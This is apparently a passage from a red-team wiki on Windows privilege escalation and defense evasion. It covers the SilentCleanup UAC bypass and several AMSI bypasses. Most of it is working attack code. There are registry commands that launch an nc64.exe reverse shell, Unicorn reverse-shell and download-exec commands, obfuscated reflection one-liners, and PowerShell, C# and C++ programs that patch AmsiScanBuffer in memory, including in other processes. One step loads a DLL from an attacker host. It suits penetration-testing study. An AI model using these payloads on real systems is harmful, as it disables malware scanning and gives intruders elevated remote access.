Originally discovered [discovered in 2017](https://www.tiraniddo.dev/2017/05/exploiting-environment-variables-in.html) by [James Forshaw](https://twitter.com/tiraniddo) from [Google Project Zero](https://googleprojectzero.blogspot.com/), the "DiskCleanup Bypass" take advantage of the `SilentCleanup` scheduled task, which is configured on Windows by default.This tasks can be started from a process with a `medium integrity level`, and then automatically elevates to a `high integrity level` since the `"Run with highest privileges"` option is enabled.

**SilentCleanup launches `cleanmgr.exe` using the `%windir%` environment variable**. By modifying `%windir%`, we can control what gets executed.

{% tabs %}
{% tab title="PowerShell" %}
We can abuse it as follows

```bash
Set-ItemProperty -Path "HKCU:\Environment" -Name "windir" -Value "cmd.exe /K C:\Windows\Tasks\nc64.exe <IP> <PORT> & REM " -Force
Start-ScheduledTask -TaskPath "\Microsoft\Windows\DiskCleanup" -TaskName "SilentCleanup"
```

We may clean-up as follows

```powershell
Clear-ItemProperty -Path "HKCU:\Environment" -Name "windir" -Force
```

{% endtab %}

{% tab title="CMD" %}
We can abuse it as follows

```powershell
reg add "HKCU\Environment" /v windir /t REG_SZ /d "cmd.exe /K C:\Windows\Tasks\nc64.exe <IP> <PORT> & REM " /f
schtasks /run /tn "\Microsoft\Windows\DiskCleanup\SilentCleanup"
```

We may clean-up as follows

```powershell
reg delete "HKCU\Environment" /v windir /f
```

{% endtab %}
{% endtabs %}

### Automated Exploitation

{% tabs %}
{% tab title="UACME" %}
While [UACME](https://github.com/hfiref0x/UACME) provides several tools, we will focus mainly on the one called **Akagi**, which runs the actual UAC bypasses\
If you want to test for method 33, you can do the following from a command prompt, and a high integrity cmd.exe will pop up:

```bash
C:\tools>UACME-Akagi64.exe 33
```

| Method Id    | Bypass technique                        |
| ------------ | --------------------------------------- |
| 33           | fodhelper.exe                           |
| 34           | DiskCleanup scheduled task              |
| 70           | fodhelper.exe using CurVer registry key |
| {% endtab %} |                                         |

{% tab title="WinPwnage" %}
[WinPwnage](https://github.com/rootm0s/WinPwnage) (Python) implement multiple UAC bypass methods:

```bash
# Scan for UAC Bypass
main.py --scan uac

# UAC bypass using runas
main.py --use uac --id 1 --payload c:\\windows\\system32\\cmd.exe

# UAC bypass using fodhelper.exe
main.py --use uac --id 2 --payload c:\\windows\\system32\\cmd.exe

# UAC bypass using cmstp.exe
main.py --use uac --id 13 --payload c:\\windows\\system32\\cmd.exe
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://tryhackme.com/room/bypassinguac>" %}

{% embed url="<https://github.com/hfiref0x/UACME>" %}

{% embed url="<https://v3ded.github.io/redteam/utilizing-programmatic-identifiers-progids-for-uac-bypasses>" %}


# AMSI Bypass

MITRE ATT\&CK™ Impair Defenses: Disable or Modify Tools - Technique T1562.001

## Theory

With the release of PowerShell, Microsoft released [AMSI (Anti-Malware Scan Interface)](https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal). It is a runtime detection measure shipped natively with Windows and is an interface for other products and solutions.

### How it works ?

AMSI (Anti-Malware Scan Interface) is a PowerShell security feature that will allow any applications or services to integrate directly into anti-malware products. Defender instruments AMSI to scan payloads and scripts before execution inside the .NET runtime. The [CLR (Common Language Runtime)](https://learn.microsoft.com/en-us/dotnet/standard/clr) and [DLR (Dynamic Language Runtime)](https://learn.microsoft.com/en-us/dotnet/framework/reflection-and-codedom/dynamic-language-runtime-overview) are the runtimes for .NET.

AMSI is fully integrated into the following Windows components:

* User Account Control, or UAC
* PowerShell
* Windows Script Host (wscript and cscript)
* JavaScript and VBScript
* Office VBA macros

The below diagram depicts how data is dissected as it flows through the layers and what DLLs/API calls are being instrumented.<br>

<figure><img src="/files/SWEOd7ctLhmWTOyTXKCu" alt="" width="563"><figcaption></figcaption></figure>

This is important to understand the complete model of AMSI, but we can break it down into core components, shown in the diagram below.<br>

<figure><img src="/files/BOf5erRPf4zjL9PVFMMQ" alt=""><figcaption></figcaption></figure>

{% hint style="danger" %}
Note: AMSI is only instrumented when loaded from memory when executed from the CLR. It is assumed that if on disk MsMpEng.exe (Windows Defender) is already being instrumented.
{% endhint %}

## Practice

To find where AMSI is instrumented, we can use [InsecurePowerShell](https://github.com/cobbr/InsecurePowerShell) maintained by [Cobbr](https://github.com/cobbr) which is a GitHub fork of PowerShell with security feature removed, and compare it with an [offical PowerShell GitHub](https://github.com/PowerShell/PowerShell).

### PowerShell Downgrade

The PowerShell downgrade attack is a very low-hanging fruit that allows attackers to modify the current PowerShell version to remove security features.\
Most PowerShell sessions will start with the most recent PowerShell engine, but attackers can manually change the version with a one-liner. By "downgrading" the PowerShell version to 2.0, you bypass security features since they were not implemented until version 5.0.

{% tabs %}
{% tab title="Powershell" %}
We can simply use this command to downgrad powershell.

```bash
PowerShell -Version 2
```

{% endtab %}

{% tab title="Unicorn" %}
[Unicorn](https://github.com/trustedsec/unicorn) is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory.

```bash
# Syntax:
# python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt>

# Examples:
# Meterpreter
python unicorn.py windows/meterpreter/reverse_https <ATTACKING_IP> <ATTACKING_PORT>

# Reverse Shell
python unicorn.py windows/x64/shell_reverse_tcp <ATTACKING_IP> <ATTACKING_PORT>

# Download Exec
python unicorn.py windows/download_exec url=http://badurl.com/payload.exe

# Custom Powershell script
python unicorn.py evil.ps1
```

{% endtab %}
{% endtabs %}

{% hint style="danger" %}
Since this attack is such low-hanging fruit and simple in technique, there are a plethora of ways for the blue team to detect and mitigate this attack.
{% endhint %}

### PowerShell Reflection

Reflection allows a user or administrator to access and interact with .NET assemblies. It can be abused to modify and identify information from valuable DLLs.\
The AMSI utilities for PowerShell are stored in the **AMSIUtils** .NET assembly located in **System.Management.Automation.AmsiUtils**.

{% tabs %}
{% tab title="Powershell" %}
Matt Graeber published a one-liner to accomplish the goal of using Reflection to modify and bypass the AMSI utility. This one-line can be seen in the code block below.

```bash
# One-liner
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Win10 One-liner
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

# Win10 & Win11 One-liner
S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
S`eT-It`em ( 'V'+'aR' +  'IA' + (("{1}{0}"-f'1','blE:')+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),(("{0}{1}" -f '.M','an')+'age'+'men'+'t.'),('u'+'to'+("{0}{2}{1}" -f 'ma','.','tion')),'s',(("{1}{0}"-f 't','Sys')+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+("{0}{1}" -f 'ni','tF')+("{1}{0}"-f 'ile','a'))  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+("{1}{0}" -f'ubl','P')+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
```

{% endtab %}
{% endtabs %}

### Patching AMSI

AMSI is primarily instrumented and loaded from **amsi.dll**. This dll can be abused and forced to point to a response code we want. The **AmsiScanBuffer** function provides us the hooks and functionality we need to access the pointer/buffer for the response code.\
AmsiScanBuffer is vulnerable because amsi.dll is loaded into the PowerShell process at startup; our session has the same permission level as the utility. AmsiScanBuffer will scan a "buffer" of suspected code and report it to amsi.dll to determine the response. We can control this function and overwrite the buffer with a clean return code.

At a high-level AMSI patching can be broken up into four steps,

* Obtain handle of amsi.dll
* Get process address of AmsiScanBuffer
* Modify memory protections of AmsiScanBuffer
* Write opcodes to AmsiScanBuffer

{% tabs %}
{% tab title="PowerShell" %}
Using following powershell code, we can patch AMSI memory for current shell.

```powershell
$MethodDefinition = "
    [DllImport(`"kernel32`")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport(`"kernel32`")]
    public static extern IntPtr GetModuleHandle(string lpModuleName);

    [DllImport(`"kernel32`")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
";

#Load the API calls
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;

#Identify where amsi.dll is located and how to get to the function
$handle = [Win32.Kernel32]::GetModuleHandle(
	'amsi.dll' # Obtains handle to amsi.dll
);

#Get address off AmsiScanBuffer
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, 'AmsiScanBuffer');

#Modify the memory protection of the AmsiScanBuffer process region.
[UInt32]$Size = 0x5; # Size of region
[UInt32]$ProtectFlag = 0x40; # PAGE_EXECUTE_READWRITE
[UInt32]$OldProtectFlag = 0; # Arbitrary value to store options
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag); 

#Overwrite the buffer
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);

[system.runtime.interopservices.marshal]::copy($buf,0, $BufferAddress, 6); 
```

{% endtab %}

{% tab title="C# DLL Loading " %}
We can patch AMSI memory using the following `C#` code. We need to build the DLL, then load the Assembly using Reflection, then call function that patch AMSI as follow:

{% code title="AMSIBypass.cs" %}

```csharp
using System;
using System.Runtime.InteropServices;

//Code stolen from @cyguider
namespace Do
{
    public class The
    {

        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);

        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        private static void copy(Byte[] Patch, IntPtr Address)
        {
            Marshal.Copy(Patch, 0, Address, 6);
        }

        public static void thing()
        {
            IntPtr Library = LoadLibrary("a" + "m" + "s" + "i" + ".dll");
            IntPtr Address = GetProcAddress(Library, "Amsi" + "Scan" + "Buffer");
            uint p;
            VirtualProtect(Address, (UIntPtr)5, 0x40, out p);
            
            //x64 Patch
            Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
            
            //x86 Patch
            //Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
            
            copy(Patch, Address);
            Console.WriteLine("Patch Applied");
        }
    }
}
```

{% endcode %}

We can compile it from our Linux host using mcs:

```bash
#apt-get install mono-mcs
$ mcs -t:library AMSIBypass.cs
```

Then we can transfer the DLL to the target (using http-server, or smb for example) and load the Assembly

```powershell
#Load assembly from memory
$data=(New-Object Net.Webclient).DownloadData('http://<ATTACKING_IP>/AMSIBypass.dll')
[System.Reflection.Assembly]::Load($data)

#Load assembly from disk
PS> [System.Reflection.Assembly]::Load([IO.File]::ReadAllBytes(".\AMSIBypass.dll"))
```

Call function that patch AMSI

```powershell
PS> [Do.The]::thing()
Patched Applied
```

{% endtab %}

{% tab title="C++ DLL Loading" %}
We can patch AMSI memory using the following `C++` code. We need to build the DLL, then load the Assembly using Reflection, then call function that patch AMSI as follow:

{% code title="AMSIBypassC.cpp" %}

```cpp
#include <windows.h>

int DoIt(){	
	HMODULE amsiDllHandle = ::LoadLibraryW(L"amsi.dll");
	FARPROC addr = ::GetProcAddress(amsiDllHandle, "AmsiScanBuffer");
	
	//x64
	BYTE patch[6] = {0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3};
	
	//x86
	//BYTE patch[6] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
	
	HANDLE processHandle = ::GetCurrentProcess();
	::WriteProcessMemory(processHandle,(PVOID)addr, (PVOID)patch, (SIZE_T)6, (SIZE_T *)nullptr);
    return(0);
}

int __stdcall DllMain(handle_t hmod, int reason, void *reserved){
  if (reason == DLL_PROCESS_ATTACH) {
    DoIt();
    } 
    return(0);
}
```

{% endcode %}

We can compile it from our Linux host using mingw32:

```bash
x86_64-w64-mingw32-gcc amsiBypassC.cpp -shared -o output.dll
```

Then we can transfer the DLL to the target (using http-server, or smb for example) and load the Assembly

```powershell
#Define the MemberDefinition
PS> $MemberDef = @'
>> [DllImport("amsic.dll")]
>> public static extern void DoIt();
>> '@

#Load the DLL
Add-Type -MemberDefinition $MemberDef -Name 'amsic' -Namespace 'v' -PassThru;
```

Call function that patch AMSI

```powershell
PS> [v.amsic]::DoIt()
```

{% hint style="danger" %}
Even if you get the following error: (Exception de HRESULT : 0x8007045A). The patch may have worked.
{% endhint %}
{% endtab %}

{% tab title="Remote Process Patching (C#)" %}
Following code use same techniques but on a remote process. It use `GetProcessesByName` to gain an handle on the remote process.

```csharp
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace bypasstest
{
    class Program
    {
        public enum Protection : uint
        {
            PAGE_NOACCESS = 0x01,
            PAGE_READONLY = 0x02,
            PAGE_READWRITE = 0x04,
            PAGE_WRITECOPY = 0x08,
            PAGE_EXECUTE = 0x10,
            PAGE_EXECUTE_READ = 0x20,
            PAGE_EXECUTE_READWRITE = 0x40,
            PAGE_EXECUTE_WRITECOPY = 0x80,
            PAGE_GUARD = 0x100,
            PAGE_NOCACHE = 0x200,
            PAGE_WRITECOMBINE = 0x400
        }

        public enum ProcessAccessFlags : uint
        {
            Terminate = 0x00000001,
            CreateThread = 0x00000002,
            VMOperation = 0x00000008,
            VMRead = 0x00000010,
            VMWrite = 0x00000020,
            DupHandle = 0x00000040,
            SetInformation = 0x00000200,
            QueryInformation = 0x00000400,
            Synchronize = 0x00100000,
            All = 0x001F0FFF
        }

        [DllImport("kernel32.dll")]
        public static extern IntPtr LoadLibrary(string ddltoLoad);

        [DllImport("kernel32.dll")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procedureName);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, Protection flNewProtect, IntPtr lpflOldProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, Protection flNewProtect, IntPtr lpflOldProtect);

        [DllImport("Kernel32.dll", EntryPoint = "WriteProcessMemory", SetLastError = false)]
        private static unsafe extern int WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, int nSize);

        [DllImport("kernel32.dll")]
        public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, int dwProcessId);

        //allow us to catch a System.AccessViolationException in managed code and continue
        [System.Runtime.ExceptionServices.HandleProcessCorruptedStateExceptions]
        [System.Security.SecurityCritical]
        static void Main(string[] args)
        {
            IntPtr dllHandle = LoadLibrary("amsi.dll"); //load the amsi.dll
            if (dllHandle == null) return;

            //Get the AmsiScanBuffer function address
            IntPtr AmsiScanbufferAddr = GetProcAddress(dllHandle, "AmsiScanBuffer");
            if (AmsiScanbufferAddr == null) return;

            Process targetProcess = Process.GetProcessesByName("powershell")[0];
            IntPtr procHandle = OpenProcess(ProcessAccessFlags.All, false, targetProcess.Id);

            IntPtr OldProtection = Marshal.AllocHGlobal(4); //pointer to store the current AmsiScanBuffer memory protection

            //Pointer changing the AmsiScanBuffer memory protection from readable only to writeable (0x40)
            bool VirtualProtectRc = VirtualProtectEx(procHandle, AmsiScanbufferAddr, 0x0015, Protection.PAGE_EXECUTE_READWRITE, OldProtection);
            if (VirtualProtectRc == false) return;

            //X64 Patch
            var patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
            //X86 Patch
            //var patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };


            //Setting a pointer to the patch opcode array (unmanagedPointer)
            IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
            Marshal.Copy(patch, 0, unmanagedPointer, 3);
            try
            {
                //Patching the relevant line (the line which submits the rd8 to the edi register) with the xor edi,edi opcode
                WriteProcessMemory(procHandle, AmsiScanbufferAddr + 0x001b, unmanagedPointer, 3);
            }
            catch
            {
                //silent continue
            }
        }
    }
}
```

{% endtab %}
{% endtabs %}

### AMSI Bypass Tools

While it is preferred to use the previous methods shown, attackers can use other automated tools to break AMSI signatures or compile a bypass.

{% tabs %}
{% tab title="AMSI.Fail" %}
[amsi.fail](https://amsi.fail/) will compile and generate a PowerShell bypass from a collection of known bypasses.\
From amsi.fail, "AMSI.fail generates obfuscated PowerShell snippets that break or disable AMSI for the current process. The snippets are randomly selected from a small pool of techniques/variations before obfuscating. Every snippet is obfuscated at runtime/request so that no generated output share the same signatures."
{% endtab %}

{% tab title="Evil-Winrm" %}
If we can access the target through WinRM, we can use the built-in `Bypass-4MSI` command to patch the AMSI protection.

```powershell
*Evil-WinRM* PS C:\> Bypass-4MSI
[+] Success!
```

{% endtab %}

{% tab title="AMSITrigger" %}
[AMSITrigger](https://github.com/RythmStick/AMSITrigger) allows attackers to automatically identify strings that are flagging signatures to modify and break them. This method of bypassing AMSI is more consistent than others because you are making the file itself clean.

```bash
C:\Users\v4resk\Tools>AmsiTrigger_x64.exe -i "bypass.ps1" -f 3
```

{% endtab %}

{% tab title="AMSI-Killer" %}
We can use the [AMSI-KIller](https://github.com/ZeroMemoryEx/Amsi-Killer) tools that is a `C++` implementation of the AMSI memory patch. It search powershell process and patch the `AmsiOpenSession` function.

```
cmd >  Amsi-Killer.exe 
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://tryhackme.com/room/runtimedetectionevasion>" %}




---

[Next Page](/llms-full.txt/1)